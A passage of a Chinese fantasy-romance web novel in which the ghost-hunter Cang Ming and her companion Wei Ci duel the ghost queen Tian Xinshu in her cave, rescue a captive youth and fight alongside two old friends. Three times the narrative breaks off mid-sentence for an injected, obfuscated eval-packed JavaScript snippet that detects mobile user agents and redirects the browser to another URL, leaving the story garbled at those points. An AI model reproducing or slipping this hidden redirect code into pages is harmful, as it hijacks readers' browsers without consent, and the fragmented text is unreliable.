“女鬼姐姐,你把狗官提出来让我们问问,如果真是罪该万死,我们就不管了。”苍名边打边说,“收手吧,你这山洞……容易塌。” 几个人互相制衡着住了手,天心沭皱着眉头说:“谁告诉你狗官在我这里?” “那个小子不是吗?” “那小子是顺手带回来的。”副将一瞪眼睛,“谁知你们怎么总想抢去?我看你们才是吃人的妖怪!” 苍名抱着手臂说:“闲话少叙,你们的绣花鞋残害凡人,还是一并交出来吧。” “跟大王说话,还不脱了斗篷?”副将沉声喝道,伸手就来扯苍名的面具。 一道银光晃过,未辞已经站在苍名身前,一把擒住副将的爪子:“你找死。” 副将疼得哎呦一声,像一只大虾一样佝偻起来,发出震天的咆哮。未辞浓黑的眉毛压迫下来,寒冷的目光几乎让洞里的空气凝结成冰。 苍名赶紧把手放在他手臂上:“我没事。” 天心沭背着手,面色更加铁青:“你们的打情骂俏令人恶心。” 打情骂俏?苍名的嘴角抽动了一下,摘下帽子和面具:“天心沭阁下,咱们谁也打不赢谁,不如有话好说,等价交换。如果你交出邪物,从此不再杀害无辜凡人,就可以开出三个条件,怎么样?” 说完,她又侧头低声对未辞解释道:“不是我不想一锅端,是因为这个女妖的情况,它确实麻烦一点。她手下太多,三天三夜也打不完,我们还是智取为上。” 天心沭对他们的大声密谋毫不关心,也并未赏给未辞一个眼神。她只是始终盯着苍名的脸,目光上下游移:“你是他的人。” “到底谁啊?”苍名想起副将那天也颤抖着问过类似的话。 天心沭目光沉沉:“中野飞鸥。” 苍名想起过路野鬼说的东西南北中,猜测此人是个厉害人物,于是试探着问:“你和这人有仇吗?” 天心沭说:“无仇。又没有人见过他本尊。” “害,实不相瞒,我的确是他的人。”苍名当即大言不惭地说,“他呀,对我挺好的……”说着羞答答地低下头。 天心沭看起来又被恶心到想吐,未辞则神色古怪地看着苍名。天心沭嘲笑道:“你们的关系还真乱。” 苍名小声问:“中什么,不是个糟老头子吧?” 未辞说:“不是。” “那就好。”苍名心想,这也不算奇怪。 “既然是贵客,先前又是误会,我请二位喝酒便是。”天心沭一摆手,一群小妖又整齐地小步溜进来,每人头顶一个大盘子。 未辞摘了斗篷,随手抛在椅背上,随苍名一起入座。副将正要命小妖们倒酒,天心沭突然说:“慢。”其余三人都看向她。 天心沭说:“我的副将只能给我倒酒。你们两人却要给我的副将倒酒。” 未辞从鼻子里冷冷笑了一声,苍名赶紧伸手说:“我来我来。”说着就去拿桌上的酒壶。 谁知看似细巧的银质酒壶竟重如千斤,苍名提了几下,又站起来扎马步往起拔,酒壶纹丝不动。 “大王,您的酒壶是不是粘在桌子上了?”苍名微微皱眉。武力并非忘仙派所长,苍名从小练的都是借力打力的巧劲。 未辞伸手覆盖上苍名的手背,低声说:“我来。” 苍名收回手,眼看着未辞手上微微泛起青筋,修长结实的手指因为用力而关节发白,终于缓缓拿起酒壶,为苍名、自己和副将斟了酒。 天心沭哈地一笑,顺手拿起另一把酒壶对着壶嘴喝,又指着一条通向深处的窄小隧道:“我这洞在山中,山却也在洞中,不信二位请看。” 苍名戒备地看了她一眼,慢慢走到狭窄的路口前。未辞走到她身后站定,温和地说:“无妨,里面没东西。” 苍名也未曾感觉到妖鬼邪气,于是点点头,和他一起沿小路走进去。两侧石壁收得越来越窄,头顶也越来越低。 走了几步,眼前越来越黑,忽然听见天心沭的声音在外面说:“二位若能活着出来,就再请坐下喝酒吧。” 话音刚落,隧道入口就被封了起来。 苍名轻呼一声:“我就知道她不会放过我们。”未辞在她身后说:“管她的,进去玩玩。” 两人一起沿路走下去,好容易适应了一片漆黑,忽然眼前乍现耀眼光亮。苍名疑是有埋伏,立刻向后一退,撞在了一个温热的胸膛上。未辞从后面轻轻扶住她,说:“没事。” 苍名发现自己被圈在他怀里,急忙往前站。眼前并非机关埋伏,隧道豁然开朗,别有洞天。 山洞中果然有一座高山,巍峨屹立,层峦叠嶂。山上森林遍布,皆为奇异树木,每片树叶都是宝石制成,光芒耀眼夺目,把山洞照得如同白昼。 “这是山里套着山。”苍名仰头看着。 “恩。”未辞笑了一下,“这儿的叶子倒是不错,要不要给你捡一些,用作流雪回风?” 苍名承认自己的确动心了,但还是说:“先看看怎么出去吧!” 未辞吹了一声口哨:“无妨。我知道怎么出去,先带你玩玩好了。” 听他这么说,苍名莫名其妙地安定下来,跟着他一起进山了。 脚下的落叶都是宝石和珊瑚,土壤则是金银粉末。苍名边走边轻抚松树,抬头看着参天树林:“这座山不知叫什么?” 未辞说:“抚松谷。” 苍名又俯身捡起地上的落叶,原来是薄薄的叶子形状的橘黄色玉石,的确很适合做暗器。苍名揣在衣服里:“出去的时候问问能不能带走。” 走着走着,到了山深处,还有碧蓝色宝石汇成的溪流泉水缓缓倾泻而下。未辞看着眼前的少女,怔了一瞬:“水色和你衣裳很配。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172721|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苍名眼神发亮,回头一笑:“参天松树也和你很配。” 未辞说:“可惜少了点穿林风声。”说着轻轻敲了敲身旁的树干,山中顿时清风回荡,万叶初鸣。 苍名站在风里闭目片刻,再睁开眼睛时神清气爽,突然无缘无故念出一句:“踏遍青山人未老。” 未辞凝视着她,目光沉沉,他的眼眸中也有一场流风回雪,仿佛无数往事如星掠过,奇异光华流动不已。过了很久,他说:“不错。踏遍青山,人未老。” 苍名对这趟抓鬼途中的旅行十分满意,她叹息着说:“逛得也差不多了,要不回去吧?” 未辞说:“好。”于是虚扶着苍名的胳膊下了山,走回平地上,随便找了一处石壁,把手掌按了上去。 强劲的力道从未辞的手心里无声无息地送出,石壁上裂了一圈缝隙。 石块噼里啪啦落下来,尘埃落定。未辞用掌力打通了一条新的隧道。 “走吧。”他带着苍名向昏暗的隧道中走去。 苍名跟在他旁边,担忧地问:“你的手没事吧?” “这有什么事。”黑暗中,他的声音还是那副玩世不恭少年郎的样子。 未辞似乎还打了条近路。没走多久,隧道一转,大厅赫然在眼前。 大厅的酒桌上,坐着鼻子气歪的副将,和似笑非笑的天心沭。 “好,好,好。”天心沭鼓起了掌,“二位果然不是肉体凡胎,难怪能欺负我手下的军团。” 苍名忍住了才没说出来,那群小妖和邪狞也算军团么? 天心沭接着说:“你倒酒的壶里,装的是满天银河,所以才那么沉。你在洞中看见的巍峨群山,是我层层叠叠的衣摆褶皱,青翠山林和蜿蜒溪流,是衣摆褶皱中的花纹。” 未辞冷冷地说:“阁下还真是修为高深。” 天心沭拍拍手,命人换上新酒:“那么就请二位入座吧。” 苍名暗自戒备着入座,双手托腮,傻里傻气地问:“漂亮姐姐,你的名字是天心沭,有什么来历?” 副将横了她一眼:“乳臭未干的黄毛丫头懂什么。我们大王才冠绝伦,名震天下。她题字,便胜过世上所有书法名家,她撰文,便叫文人墨客自惭形秽,从此弃笔归隐,一生甘做俗人。人人都说,是老天借着大王的手,把此等旷世神作流传人间,故称天心。又因大王单名一个沭字,由此得名。” 苍名顿时理解了天心沭为何平等地瞧不起任何人。 “天心阁下,的确是心神通天。”她真心实意地说,“听说有一年的状元是位女扮男装参加科举的姑娘,让我崇拜了好多年,说不定你们可以做知音呢。” 天心沭却嗤笑一声:“那个女的,早就嫁人了,一个生过孩子的女人,有什么好的。” 苍名噎了一下:“这个……万一人家就喜欢孩子呢……” 未辞接过话说:“还有一年,有位书画名家能在竹叶上刻画清明上河图,也是位奇女子。” 天心沭不耐烦地说:“那个我也见过,丑得一批。” 两人对视一眼,都不想说话。苍名忽然戏谑地说:“我猜您对男子只会更加嫌恶,可是副将他老人家就是男……公……” 8. 藤萝绕春情 副将的真身虽然异常抽象,难以辨别,却的确是如假包换的雄性。天心沭没理会副将的怒意,冷冷地说:“判木虽是公的,却从未让我感觉到一丝一毫的粗鲁自大。” “明白明白。”苍名笑着说,“您又为何扣着那不知名小子?” 天心沭面无表情地说:“那晚我去教训狗官,却被你拦了一道,这活人,你带不走了。” “那狗官干了什么?”苍名好奇道。 “他仗着自己有钱有权,将我师姐的好文章偷给他儿子,叫他儿子求取功名利禄。”天心沭抓起酒杯把玩着,突然甩手掷了出去。 “师姐?”苍名迷惑了,“您不是说女人也没有好东西……” “住口!”天心沭雪脸一片煞白,雪雕成的瞳孔没有瞳仁,“我对师姐的感情不止孺慕之意,超越崇敬之情,似师徒似知音,似母女似手足……你懂么?” 苍名点头答:“懂的。” “你懂什么。”天心沭又怒起来,“师姐教我背诗写字,鼓乐起舞,我的才华全靠她启蒙。你这等俗物只会靠男人!” 苍名原本一直在托着脸欣赏她的容颜,当即笑嘻嘻地把头伸过去:“我不靠男人,我想靠你漂亮姐姐。” “?” 未辞伸手轻轻把她拉回来,天心沭的表情惊疑未定。 苍名猝不及防地问:“我看您为人高傲孤冷,为何驱策绣花鞋这等低劣之物?” “什么低劣绣花鞋?”天心沭站起身走到大厅中,“寻常绣鞋那种品味低级缺乏设计的东西,也配做我天心沭的符号?” 苍名:“……您让我们看一眼那小子,确信他安然无恙,我们就告辞了。” 天心沭抬了抬手指,头顶的石壁忽然变成透明。苍名和未辞仰头一看,那小子一身红袍,换了黑靴,呆在上层洞穴中翻看书籍解闷,似乎看不见下层的鸡飞狗跳。 天心沭嘁嘁喳喳的耳语在苍名耳边响起:“一个素不相识的破凡人,值得你这么上心吗?” 苍名转头一看,天心沭雪白的瞳孔近在咫尺,冰柱般的长发垂落到苍名肩膀上。 “说啊!人这东西,值得你这么做么?”天心沭爆吼一声,震得苍名一缩脖。副将在一旁大声催促苍名跪下回话。 苍名平静地说:“我从未怀疑过。” 天心沭斜眼瞄着未辞,说:“那你呢?你看起来不是好东西,跟着救什么人?为了讨好她?” 未辞抱着手臂懒洋洋地说:“我确实不喜欢人这东西。我不杀人已经不错了。” 苍名忍住了没有看他,小声表示:“我理解,有时我也觉得人不如狗。” 未辞又说:“但我懂得她想做的事,我觉得有趣,想一起来玩玩。不行么?” 苍名惊讶地看了一眼未辞,说:“未辞,谢谢你!我宣布你是我近十年间遇到的第一知音。” 未辞问:“为什么?” 苍名犹豫了一下,说:“因为我觉得这世上最难得的甚至不是有人陪伴你,而是有人理解你的心。” 未辞说:“我的意思是为什么只有近十年间,再之前呢?” 苍名说:“再之前的你不认识,是……” 天心沭轻声说:“他妈的,你们竟然在我这儿……” 苍名打断她说:“插一句,能不能让我们看看那小子真人呢?” 天心沭温柔地一笑:“然后你把他抢走,是么。我会杀了你。” “这……”苍名苦不堪言,“你怎么喜怒无常啊……” “副将,站稳了。” 苍名一愣,脚下踩的一方地面突然空了。她只来得及喊一声喂,就和未辞一起落入了下一层的洞穴之中。 在坠地之前,未辞的指尖已经触及到苍名的胳膊,电光火石之间将她拉进自己怀中。两人相拥着在空中翻滚了两次,骤然摔落在地面,扬起一地枯枝落叶。 苍名把头从他肩颈中抬起来,发现自己正趴在他的身上,一点都没有摔到。 未辞与她四目相对,低声问:“你没事吧?”苍名急忙摇头:“我当然没事,你有没有摔到头?腰?” 落地的一瞬间,她清楚地感觉到未辞把他自己翻到了下面。 “我当然没事。”未辞学着她的语调说。 苍名胡乱地把手撑在他胸前,想要支起上身,旋即又被什么东西抡到后背,跌落回他的身上:“哎哟!” 眨眼之间,两人已经被地上伸出的几条藤蔓牢牢困住,天花的石壁也重新封了起来。 两人就这样维持着贴在一起的迷惑造型,被捆在不知第几层的洞穴里。 “你偷袭!”苍名顿时大怒。她的声音回荡在洞中,除此之外再也听不见天心沭的声音。 “没事。”未辞的呼吸声沉沉的近在咫尺,几乎贴着苍名耳边,“我来挣开。” “等等未辞,”苍名赶紧说,“这个藤蔓是伏蜥萝,整条长在地里的,若是枝蔓被扯断或拔除,地面会连着一起裂开的。” 要是再往下掉一层,不知又会到什么洞穴里。截至目前,天心沭对洞内装修表现出超乎寻常的狂热,下一层洞里布置成刀山火海也说不定。 “哦?”未辞果然停住不动。 “应该不会认错的。”苍名侧头盯着那些粗如碗口的爬藤,“实不相瞒,以前这东西长在我房顶,我一拔,就把房顶拔塌了……” “是吗,怎么会长在你房顶?”未辞长吐出一口气,说话的声音依旧清冷柔和。 “这个,我居无定所,住的都是些陋室嘛,哈哈哈。”苍名勉强维持尊严,突然觉得非常想死。奇了怪了,平时自己可是经常进到酒家款款落座、看过价单以后面不改色地起身离去,白喝人家一杯茶水,还跟店家点头道别。 未辞没有说话,只是默默地垂眼看着她。 苍名说:“干我们这行的就这样,哪里有鬼去哪里,住所跟着妖鬼跑……” 未辞:“恩。” “咦,对了,”苍名突然想起来自己怀中还有一片宝石叶子,“不知用暗器边缘慢慢把藤蔓割开,行不行?” 她勉强扭动着身体,把按在未辞胸前的手拐进自己衣襟里摸索着。如此轻微的挣扎,又让藤蔓收紧了几分。 未辞的身体渐渐热得发烫。两种呼吸声交织缠绕,如海风逐海浪,涌动起伏,纠缠不息。苍名的呼吸声轻微,急促,不知所措,掺杂着被藤蔓勒疼和被坚硬躯体硌疼的低呼声。未辞的呼吸深沉,隐忍,偶尔流露出粗粝的气息。他一声不响地环住苍名的腰和背,尽量用自己的手臂对抗着藤蔓。 苍名用宝石叶子的锋利边缘对准脸侧的藤,耐着性子缓缓切磨。藤蔓和地面的确没有异动,但成效也异常缓慢。 未辞仰起头,喉结上下滚动。苍名急得满脸泛红: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172722|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我很沉吧,早知道应该让我在地上的。” “算了,”未辞说,“让我试试捏断它。”他握住苍名背上的一段藤蔓,尽量不扯动它,手心慢慢攥紧。 咔的一声,藤蔓应声而断,其他藤蔓也受了恐吓一般迅速地松开他们,瘫软在地上。 “真的行呀!”苍名把叶子塞回衣服里,手忙脚乱地从他身上爬起来。未辞突然轻轻把她托离自己几寸,苍名急忙识相地后撤。 “好了,咱们——”苍名跪坐起来,一句话尚未说完,两人身下的土地突然裂开。 苍名心想,回去要记下来,捏断,也不可取。 霹雳崩塌的沙石里,两人向下疾速坠落,无底洞深不可测。 苍名架起山膀手:“定!”然后心里暗叫一声不好,又改口:“解!” 头顶似乎有许多巨石暗器嗖嗖落下来,两人定在半空反而会被砸个头破血流。 风的呼啸声中,还有另一种窃窃私语,此起彼伏,盘旋回荡。 “一事无成,一事无成……” “冥界没有你爹娘……” “你师祖……都是因为你……” 苍名的脸一瞬间变得惨白,已经到指尖的法术顷刻间瓦解。 一些青紫色的四肢从周围的石壁中伸出,接着是身体和头颅。他们的躯干像蜘蛛一样爬在壁上,每一张脸都死不瞑目。 僵尸的腐烂气息灌满了隧道。冒着绿光的腐烂长臂猛地从四面八方伸来,利爪直取苍名的喉咙。 千年浮尸,将战死的士兵浸泡在冰海中数千年才能炼成,属上古邪祟,妖鬼谱中名列第四。师祖当年押着苍名背诵的种种史书典籍,一句句争先恐后飞入脑海。苍名呆呆地看着眼前的标准示例,身上却动弹不得。 满世界的滚石和僵尸中,忽然传来一声悠闲的口哨声。一道道白光如雪片般骤然飞来,如千军万马分成下中上三路。一片白光迅速扩张,稳稳当当地托住了苍名和未辞。又一群白光绕场四散飞舞,淹没了千年浮尸。其余片片白光则化为盾牌,抵挡着头顶的落石。 苍名浑身发抖地喘了一阵,一场巨大的溺水感受袭来。未辞很配合地转过头,一眼都没有看她,一句都没有问她。 过了一会儿,苍名伸手摸了摸膝下的白光,稀奇地说:“像一张纸一样?”白纸银光点点,几近透明,如同蝶翼,暗纹流转。 未辞盘坐在她旁边,一条腿屈起来架着胳膊,又是一声口哨,那张大纸载着他们飘飘悠悠地落了地。两人刚一踏上地面,大纸就打了个滚,变成敞开的书页,扇动双翅,一飞就不见了。 在这不知第几层的洞中,铺着青石板的地面上,一滩滩暗绿或乌紫的痕迹正在弥漫消散,银白色火焰流淌而过又转瞬不见,将一切化为灰烬。几张纸页像展开翅膀的白鸟,绕着洞底翱翔一圈,就转身消失了。 苍名看了他一眼:“那些痕迹……都是刚才那些浮尸?” “恩。”他随意点点头。 头顶的白光托着那些巨石沙土,哗啦一声向墙角一倒,堆成一座塑像,看起来是副将的模样。接着,那些白光也摇身变回纸页的模样,拍打着翅膀消失了。 须臾之间,上中下三路的白纸兵阵已经无影无踪,仿佛从未出现。 苍名拍拍手:“来如春梦,去似朝霞。这是你的暗器吗?”她把头转向了未辞:“中野飞鸥?” 9. 沧海失遗珠 洞中蓦然沉寂下来,只有副将的塑像横眉立眼,提胯摆臂,凹成推窗望月的动作。 未辞背着手,把脸转向一边,停顿很久才说:“是我。” 苍名触碰着头上的银质发冠,若有所思:“你送我的发冠可是有什么机巧,所以他们看出我是你的人。”说完以后立刻觉得不对,赶紧说:“我是说,他们以为我是你的人……?” 未辞淡淡一笑,说:“发冠上雕刻的花纹,是我的图腾。” “你不喜欢的话,我就假装不知道你是谁。”苍名察言观色地说,转移话题,“对了,你的古董店叫什么名字?” “苍名古董店。” “?” 看着苍名一言难尽的表情,他笑了笑:“怎么?” “不怎么。”苍名一脸震撼,“和我重名了。” “重名不行吗?”未辞挑了挑眉毛,“姑娘姓什么,不如也一起告诉我?” “敬。”苍名正色道,“敬苍名。你也知道我的名字了,现在我们扯平啦。” “苍名,是什么意思?”他低声问。 苍名说:“苍天有名,苍生未名。” “好名字。”他轻轻鼓掌赞叹,垂下眼眸,犹豫良久,终于问,“如果我不是人……” 一阵响亮的爆破声打断了他的话。 苍名吃惊地看着洞壁上那个刚刚出现的巨大缺口,冥界天空的绿意映照进来,使得洞里中如同灌满淡绿色的湖水。 无律一边猫腰钻进来,一边说:“你看,我就说吧,一拐棍的事。” 希声跟在他后面钻进来,说:“哪里来的煞气?” 在苍名震惊的目光中,无律和希声并肩走来。 无律喜气洋洋地说:“鬼克星,你跑这里来找鬼?真有你的。”说完又用拐杖捅了一下副将的石塑,问:“这是你的塑像吗?” 希声则用冷淡而怀疑的眼光打量着未辞:“这位是谁?” 苍名急忙要找面具,浑身上上下下一个劲地摸,试图做出最后的挣扎:“那个,你们可能认错……” 无律切了一声:“我能认不出你?” 希声嗤之以鼻:“第一天就认出来了好吗。” “……”苍名咬牙微笑道,“那第一天为什么还要和我打?” “因为小店是间黑店,来者有去无回。”无律笑嘻嘻地说。 希声坦率地说:“我们想留住你。” 苍名克制着痛揍他们的冲动:“是你们写信引我来逢焉城?” 无律奇怪地说:“谁写信了?又没人知道你的地址。”他双手一拍,喜气洋洋地说:“也许合该如此。希声听说逢焉城丧事多,所以来此吹曲赚钱。苍名你又是来逢焉城干什么?总之大家又碰到啦,唉……” 苍名继续质问道:“那天你们一见面就大打出手,又是为了什么?” 希声哼笑了一声:“打的就是他。” 无律说:“我也要打她。” 苍名直截了当地问:“你们是不是在争珠冠?” 希声说:“不是。当年的事,真是抱歉了。” 无律则开始东张西望,做出一副很忙的样子。 想当年,三人青春做伴,无法无天,历次剿鬼行动中配合亲密,事后又互相推让功劳。苍名松开拳头,叹了一口气,决定先不去管这两人,把难题留给明天。 那头无律乱看一气,发现未辞仍旧低着头,浑身僵硬,拳头紧握。 无律如获至宝地问:“这位朋友高姓大名?” 苍名抢先说:“这位小朋友是……是倒卖旧物的货郎,和我一起来救人的,好几次帮了我大忙。” 无律听了,立刻上前扶住他的肩膀,动情地说:“霍贤弟,你帮了我们苍姐,以后来息园三坊客栈喝酒不必会账,你介绍过来的朋友永享特惠,记得多介绍几个啊。” 未辞淡淡地说:“那就谢过这位哥哥。” 希声不满地横了一眼无律:“你瞎客气什么?俗话说,嘴上叫哥哥,腰里掏家伙。什么小朋友煞气如此之重?” 苍名也觉得不妥,转头对未辞说:“小朋友,还没问过你多大了?” 未辞对她微微一笑:“一千多岁了。” 苍名点头道:“小老朋友。” 对面两人一脸酸掉牙的表情,苍名转移了目光:“好了,先救人吧。这洞中女鬼阴晴不定,有个无辜活人在她手中,不知有没有危险。”又问那两人:“你们怎么找来的?” 希声突然愣住,显然已经忘了他们是怎么找来的。 无律得意地看了希声一眼:“你们以为我钟某人的客栈是赔钱的么?” 苍名冷漠地说:“是啊,难道不是么。” 无律不做理会,继续说:“我店里来客不多,却有人有鬼,有仙有妖。三界散客,一走一过。” 希声突然想起来了,接着说:“今天客栈里有两个小鬼来喝汤,说是喝了汤能装成人,行动更便利。他们和无律高谈阔论,东拉西扯,说到有个蓝袍道士去黑山方向找妖怪,怕是要出事。” 无律一手叉腰,一手拄拐:“我们立刻就来帮忙了,你看我们够意思吧?” “什么汤啊?”苍名想起那锅无花果雪梨汤,鄙视地看着无律,“真的假的?你是不是下了迷药勾引人家喝?” 无律凉飕飕地说:“哪里哪里,装神弄鬼是苍姐的看家本领,我不敢抢。” 苍名怒目而视:“去你的!我当年那是为了……” “等等。”未辞突然伸手拉住她的胳膊,抬眼看向头顶。上空一望不见边际,仿佛倒置的深渊,深不可测。 “不对!”本来已经睁着眼睛陷入休眠的希声,此刻突然惊醒。 许多绿莹莹的小点乍破天际,如流星陨石般由远及近。那是无数条伏蜥萝像蟒蛇一样扭动着从天而降,直取几个人的命门。而墙壁上被无律凿出的洞正无声无息地愈合,直到新长出的黑石遮住最后一缕青色光线。 “跑!”苍名一声令下,四个人拔腿就往洞深处跑,高纵低飞,各显神通。 这一层似乎是暗牢,阴森潮湿,全靠漂浮的鬼火照明。脚下布满怪石暗河,更有哀哀哭声传来。 无律虽然腿脚有疾,行走跑跳却势如疾风,正在大显身手之际,一不小心踩到什么软绵绵的东西,吓得吼叫起来。 苍名百忙之中喊了过去:“你给我闭嘴。” 无律又一脚踩中了什么,绝望地喊回来:“不行不行,我,我可能又要喊了,啊啊啊啊——” 身后的藤蔓从那条直上直下的隧道里垂落,触手探了探地面,立即拐弯朝他们追来。无数条粗藤如同海浪翻天,几次差点将人卷住。 希声左右开弓,轮圆了二胡,朝藤蔓砸去,反倒断了一根弦。 苍名试着甩出一张黄符,符光只闪了一瞬,就落入伏蜥萝的汪洋之中。 那些古藤吞没了符咒,更加兴奋地扭动起来,无律看得浑身起鸡皮疙瘩,崩溃地大叫:“变态啊——” 未辞手疾眼快地拉过苍名,几条古藤扑了个空,一头撞到岩壁上,引发了一阵天崩地裂。 不知逃出了多远,那条贯通上下的隧道早已不见,头顶是封死的石壁,藤蔓却好像能无限伸长,仍然紧追不舍,左突右击。 洞里时而开阔,时而狭长,时而分出无数岔路,时而峰回路转又见来处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172723|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四人猛地拐入一条小路,贴着石壁站定,默契地屏住呼吸。身后的藤蔓还径自继续向前俯冲,果然没有发现他们。 挤挤挨挨的藤蔓涌动起伏,填满石洞,很快封住小路的入口。苍名一个手势,示意几人继续沿小路深入。 冷不丁甩掉了追兵,几人脚步轻快,无律一边拄拐跑一边说:“咦,都不习惯没人追的感觉了。” 话音刚落,一条百年树干粗细的伏蜥萝迎面窜出,兜头盖脸地把四个人敛在一起,高高地向上抛去。 希声只来得及说一句:“你这乌鸦嘴——”就咚咚两声着了地。 未辞还是抓住苍名就地一滚,快得像一道无声无息的闪电。 “这里不是喝酒的大厅吗?”苍名被未辞扶着站起来,打量着眼前的珠帘宝座。未辞赞同道:“跑了一大圈,又回到这一层。” “喂喂,你们两个干什么呢。”无律支着拐棍站起来,皱眉看着未辞扶在苍名身上的手,“苍姐,你什么时候这么虚弱了?你在用计吗?” “我——”苍名一时语塞。希声也头昏脑涨地爬起来,说:“那你不就把计策喊破了吗?苍名,你来我这儿。” 背后阴风乍起,风过之处,洞中石壁与桌椅陈设霎时凝结成冰雕,寒意甚于腊月的关外雪原。 苍名看了未辞一眼,未辞摊摊手:“不是我干的。” 其余三人缓缓转身。天心沭正站在一条幽暗隧道的洞口,脸色比平时还要煞白,浑身冒着冰冷刺骨的白烟。 无律和希声看见一座雪雕怒睁白瞳,踏步走来,都倒吸一口冷气。 无律举起拐杖说:“女鬼大人,请听我解释……” 一语未了,无数妖鬼阴尸从四面八方逼近,转眼灌满了整个大厅。副将首当其冲,挺着长矛刺来,睚眦欲裂:“浮尸还来!” (无律惊喜地指着他:“你是那个塑像……”) 希声一挥手,宽大的衣袖中飞出片片黄符,震得一圈非人之物避退三舍。 无律不知道浮尸这一节典故,还小声问:“生什么气啊?” 未辞微微一笑:“想来是看见了自己的雕塑,不大满意。” 副将避开黄符,一声令下,与众手下一齐上前。苍名已经和希声无律站成一行,拉开架势,天心沭突然说:“慢!” 众人都按兵不动,彼此紧盯,只待对方手指头动一动就要反击。天心沭阴恻恻地扫过四个人的脸,最后盯着苍名:“把地牢里的东西交出来,饶你不死。” 苍名尴尬地说:“你说浮尸吗?已经用火燎了一下,可能不剩……” 一声刺耳的长啸,天心沭欺身而上,抓住苍名的肩膀:“少装傻!珠冠呢?” 苍名反手格开,衣袖上的花纹忽暗忽明。天心沭像是被烫了似的跳开,又指着无律和希声说:“是你的两个帮手干的!” 那两人迷惑之际,她的头缓缓转向未辞:“要不然,就是你。” 喀嗒一声,乱珠齐飞,没人看清天心沭的身形移动,只看见珠帘被她扯碎,满天凌厉金珠破开寒风向四人飞来。 然而苍名的动作比她更快,早已在金珠飞出之前纵身跃起,一片玉石树叶掷了出去,将颗颗金珠尽数撞回,顺带着放倒了周围一圈乱七八糟的妖怪。 天心沭怒道:“还说不是小偷!” “这……”苍名心里一惊,恐怕洗不清盗窃嫌疑了。 无律和希声一个用拐杖击地,一个在二胡仅剩的一根弦上轻轻弹拨,鼓点与弦乐交相辉映,八卦法阵布开,恰似天罗地网。那些妖鬼和阴尸一窝蜂冲了上来,吱哇乱叫,各打各的,一时之间不能攻破法阵,反而被法阵压制。 10. 旧恨不须记 未辞把自己那把冰刃宝剑扔给苍名:“接着!”然后自己站在三人身后,好整以暇地抱着胳膊观起战来。 苍名接住宝剑,转身变步,逼退两只厉鬼,又击退一只扑向未辞的阴尸。 天心沭召起一地金珠,金珠飞速聚合,化成一柄长矛,被天心沭劈手取过,直向苍名刺来。苍名和她缠斗在一起,朝无律大喊一声:“敲碎天花!” 无律不解其意,但毫不含糊,立刻举起拐杖,照着头顶狠狠一击。 头顶石壁破了个大洞,那个被抓来的红袍少年坐在上层洞中,此刻正吃惊地看着脚边的大洞,洞下方一片群魔乱舞。 希声已经明白过来,将二胡扔过去:“勾来!”二胡飞上去用一根弦套住他的手腕,轻轻一带就勾得他掉了下来。 少年刚惊叫出来,就被无律单手接住,随意扔给未辞:“看一下。” 希声和未辞重新护阵,那边苍名还在乒乒乓乓地和天心沭对打,不忘扯着嗓子夸奖:“希声神算子!无律接球侠!” 那个得救的少年人靠在未辞的臂弯里,不知所措。未辞看起来并不想关照他,从鼻子里长长出了口气,把他拿远了一些。 苍名喊了一声:“出!” 无律瞄准早就看好的一处山壁,甩出拐棍一记猛锤敲开,四个人带着一个少年穿山而出,豁然开朗,重见山外冥界,竟然个个都亲切得像回了姥姥家。 天心沭盛怒至极,早已带着五花八门的部下倾巢而出。 山下田野苍茫,长满荧光鬼草,再远处是街道行人。苍名一指山后的荒凉海岸:“去那边,不要伤及无辜!” 天心沭率领部下飞落在海岸时,苍名三人各执法器,严阵以待。未辞漫不经心地拉着少年人的胳膊,饶有兴致地在旁边看热闹。 天心沭森森地笑了:“你们救这小子是假,偷我法宝是真!” 副将咬牙切齿地说:“法宝是我们从那狗官手里夺来的,和你们有甚关系?好不要脸!你们到底是什么人!” 无律大声回答:“我们是,息园三仙!”苍名看了两个朋友一眼,如坠云里雾里。 天心沭手中的长矛忽然重新化为无数颗金珠,万弹齐发。部下如闻指令,随之冲锋陷阵,一齐招呼上来。 无律盘膝而坐,以杖击打海岸,如入无人之境。海浪猝然立起滔天水墙,如细碎金箔相聚鸣响。忽而又重重落下,似万鼓同擂,铿锵顿挫。 如此循环往复中,希声合着海浪节拍拨动琴弦,一根老旧琴弦弹奏出奏潮华声曲。日出日落,潮升潮退,继而有海上暴雨,渔船随风而逝,山精海怪哀号啼鸣。 漫天金珠狰狞飞来时,苍名早已随乐曲拧身挂剑,一串点翻身如火花飞旋,与鼓点契若合符。 剑气将金珠阵格挡回去,金珠却又立即排成一具遮天蔽日的巨大骷髅,伸着十根骨骼手指头抓来。 